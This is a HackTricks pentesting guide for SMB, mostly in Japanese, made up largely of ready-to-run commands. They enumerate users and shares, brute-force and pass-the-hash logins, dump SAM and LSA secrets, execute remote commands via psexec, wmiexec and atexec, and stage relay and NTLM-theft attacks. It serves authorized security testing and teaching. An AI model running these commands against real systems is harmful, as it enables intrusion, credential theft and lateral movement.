559 lines
29 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 139,445 - Pentesting SMB
{{#include ../../banners/hacktricks-training.md}}
## **Port 139**
_**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、デスクトップがネットワークハードウェアと相互作用し、ネットワーク上でのデータ伝送を容易にするよう設計されたソフトウェアプロトコルです。NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、それらの NetBIOS 名によって行われ、これらは最大16文字でコンピュータ名とは異なる場合が多いです。2つのアプリケーション間の NetBIOS セッションは、片方のアプリケーションクライアントとして動作が別のアプリケーションサーバとして動作を「call」するコマンドを発行し、**TCP Port 139** を利用したときに開始されます。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
技術的には、Port 139 は NBT over IP と呼ばれる一方、Port 445 は SMB over IP と識別されます。略語 **SMB****Server Message Blocks** の略で、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信を促進するために使用されます。
例えば、Windows の文脈では、SMB は TCP/IP 上で直接動作でき、NetBIOS over TCP/IP を必要としないport 445 を使用する)ことが強調されています。一方、他のシステムでは port 139 を使用していることがあり、これは SMB が NetBIOS over TCP/IP と組み合わせて実行されていることを示しています。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
### IPC$ Share
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
- Information on the operating system
- Details on the parent domain
- A compilation of local users and groups
- Information on available SMB shares
- The effective system security policy
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
```bash
enum4linux -a target_ip
```
上記のコマンドは、`enum4linux``target_ip` で指定されたターゲットに対して完全な列挙を実行する方法の例です。
## NTLMとは
NTLMが何かわからない、あるいはその仕組みや悪用方法を知りたい場合は、**NTLM** に関するこちらのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように活用できるか**が説明されています:
{{#ref}}
../../windows-hardening/ntlm/
{{#endref}}
## **Server Enumeration**
### **Scan** ネットワーク上でホストを検索する:
```bash
nbtscan -r 192.168.0.1/24
```
### SMBサーバーのバージョン
SMBのバージョンに対する利用可能なexploitsを探すには、使用されているバージョンを把握することが重要です。他の使用しているツールでこの情報が表示されない場合は、次の方法を試してください:
- **MSF** の auxiliary モジュール `**auxiliary/scanner/smb/smb_version**` を使用する
- または次のスクリプト:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **exploit を検索**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **考えられる** 認証情報
| **ユーザー名** | **よく使われるパスワード** |
| -------------------- | ----------------------------------------- |
| _空白_ | _空白_ |
| guest | _空白_ |
| Administrator, admin | _空白_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### Brute Force
- [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb)
### SMB 環境情報
### 情報の取得
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Enumerate Users, Groups & Logged On Users
この情報は既に enum4linux と enum4linux-ng から収集されているはずです。
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
ワンライナー
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - ローカルユーザーの列挙
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **LSARPC と SAMR rpcclient の列挙**
{{#ref}}
rpcclient-enumeration.md
{{#endref}}
### LinuxからのGUI接続
#### ターミナルで:
`xdg-open smb://cascade.htb/`
#### ファイルブラウザウィンドウnautilus, thunar, etc
`smb://friendzone.htb/general/`
## 共有フォルダの列挙
### 共有フォルダの一覧
何かアクセスできるものがないか常に確認することをおすすめします。資格情報がない場合は **null** **credentials/guest user** の使用を試してください。
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **共有フォルダに接続/一覧表示**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **手動で windows の共有を列挙して接続する**
ホストの共有を表示する権限が制限されており、一覧を取得しようとすると接続可能な共有がないかのように見えることがあります。したがって、手動で共有に接続してみる価値があります。
手動で共有を列挙するには、有効なセッションを使用している場合(例: null session や 有効な認証情報に、NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すとよいでしょう。これらは、共有が存在するがアクセス権がないのか、あるいはそもそも共有が存在しないのかを示す手がかりになります。
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(共有名は _**Network Security Assessment 3rd edition**_ より)
次のコマンドで接続を試せます。
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
またはこのスクリプトnull sessionを使用
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
```bash
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windowsから共有を列挙する / サードパーティツールを使わずに**
PowerShell
```bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD コンソール
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC スナップイン(グラフィカル)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exeグラフィカル`\\<ip>\` を入力すると利用可能な非隠し共有が表示されます。
### 共有フォルダをマウントする
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **ファイルのダウンロード**
前のセクションを読んで、credentials/Pass-the-Hash を使用して接続する方法を学んでください。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
コマンド:
- mask: ディレクトリ内のファイルをフィルタするために使用する mask を指定します(例: "" は全ファイル)
- recurse: 再帰をオンにします(デフォルト: オフ)
- prompt: ファイル名確認のプロンプトをオフにします(デフォルト: オン)
- mget: mask に一致するすべてのファイルをホストからクライアントマシンへコピーします
(_smbclient の manpage からの情報_)
### ドメインの共有フォルダ検索
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
> [!TIP]
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
## Registry の読み取り
発見した認証情報を使って**Registry を読み取れる**場合があります。Impacket **`reg.py`** を使って試せます:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## 侵害後の処理
**Samba** サーバーの**デフォルト設定**は通常 `/etc/samba/smb.conf` にあり、いくつかの**危険な設定**が含まれている場合があります:
| **設定** | **説明** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | 利用可能な共有を一覧表示できるか? |
| `read only = no` | ファイルの作成および変更を禁止するか? |
| `writable = yes` | ユーザーがファイルを作成・変更できるか? |
| `guest ok = yes` | パスワードを使わずにサービスへ接続できるか? |
| `enable privileges = yes` | 特定のSIDに割り当てられた権限を適用するか |
| `create mask = 0777` | 新規作成されたファイルにどの権限を割り当てるか? |
| `directory mask = 0777` | 新規作成されたディレクトリにどの権限を割り当てるか? |
| `logon script = script.sh` | ユーザーのログイン時にどのスクリプトを実行するか? |
| `magic script = script.sh` | スクリプトが終了したときにどのスクリプトを実行するか? |
| `magic output = script.out` | magic script の出力をどこに保存するか? |
`smbstatus` コマンドは **サーバー** および **接続中のユーザー** に関する情報を表示します。
## Kerberos を使った認証
ツール **smbclient****rpcclient** を使って **Kerberos** に**認証**できます:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
Kerberos-only 環境NTLM disabledでは、SMB に対する NTLM の試行が `STATUS_NOT_SUPPORTED` を返すことがあります。一般的な Kerberos の問題を修正し、Kerberos auth を強制してください:
```bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
```
完全なクライアントセットアップkrb5.conf生成、kinit、SSH GSSAPI/SPNの注意点については、以下を参照してください:
{{#ref}}
../pentesting-kerberos-88/README.md
{{#endref}}
## **Execute Commands**
### **crackmapexec**
crackmapexecは**mmcexec, smbexec, atexec, wmiexec**のいずれかを悪用してコマンドを実行できます。デフォルトの方法は**wmiexec**です。使用する方法はパラメータ `--exec-method` で指定できます:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
どちらのオプションも被害者マシン上でSMB経由で _\pipe\svcctl_ を使用し)**新しいサービスを作成**し、それを使って**何かを実行します****psexec** は実行可能ファイルを ADMIN$ 共有に**アップロード**し、**smbexec** は **cmd.exe/powershell.exe** を指して引数にペイロードを入れる --**file-less technique-**-).\
**詳細情報** は [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) と [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**parameter**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます。
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
DCOMを使い、**port 135.**\経由でディスクに触れたり新しいサービスを起動したりすることなく、コマンドシェルをステルスで実行します。\
**kali**では /usr/share/doc/python3-impacket/examples/ にあります
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**パラメータ**`-k`を使用すると、**NTLM**の代わりに**kerberos**で認証できます。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
Task Scheduler を介してコマンドを実行するSMB 経由で _\pipe\atsvc_ を使用)。\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket リファレンス
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd の攻撃面と SMB2/SMB3 プロトコル fuzzing (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
## **Bruteforce ユーザー資格情報**
**これは推奨されません。許可されている最大試行回数を超えるとアカウントがブロックされる可能性があります。**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
この攻撃は Responder ツールキットを使用して、内部ネットワーク上の **SMB 認証セッションをキャプチャ** し、それらを **ターゲットマシン****中継** します。認証 **セッションが成功した場合**、自動的に **system シェル** に入ります。\
[**この攻撃の詳細はこちら。**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows ライブラリ URLMon.dll は、ページが SMB 経由でコンテンツにアクセスしようとすると、自動的にホストへ認証を試みます。例: `img src="\\10.10.10.10\path\image.jpg"`
これは以下の関数で発生します:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
これらは一部のブラウザやツール(例: Skypeで使用されます。
![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap を MitMf で実行
![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
SMB Trapping と同様に、ターゲットシステムに悪意のあるファイルを配置する(例えば SMB 経由)ことで SMB 認証を誘発し、Responder のようなツールで NetNTLMv2 ハッシュを傍受できます。そのハッシュはオフラインでクラッキングするか、[SMB relay attack](#smb-relay-attack) に利用できます。
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks 自動コマンド
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
## 参考文献
- [NetExec (CME) wiki Kerberos usage](https://www.netexec.wiki/)
- [Pentesting Kerberos (88) client setup and troubleshooting](../pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
{{#include ../../banners/hacktricks-training.md}}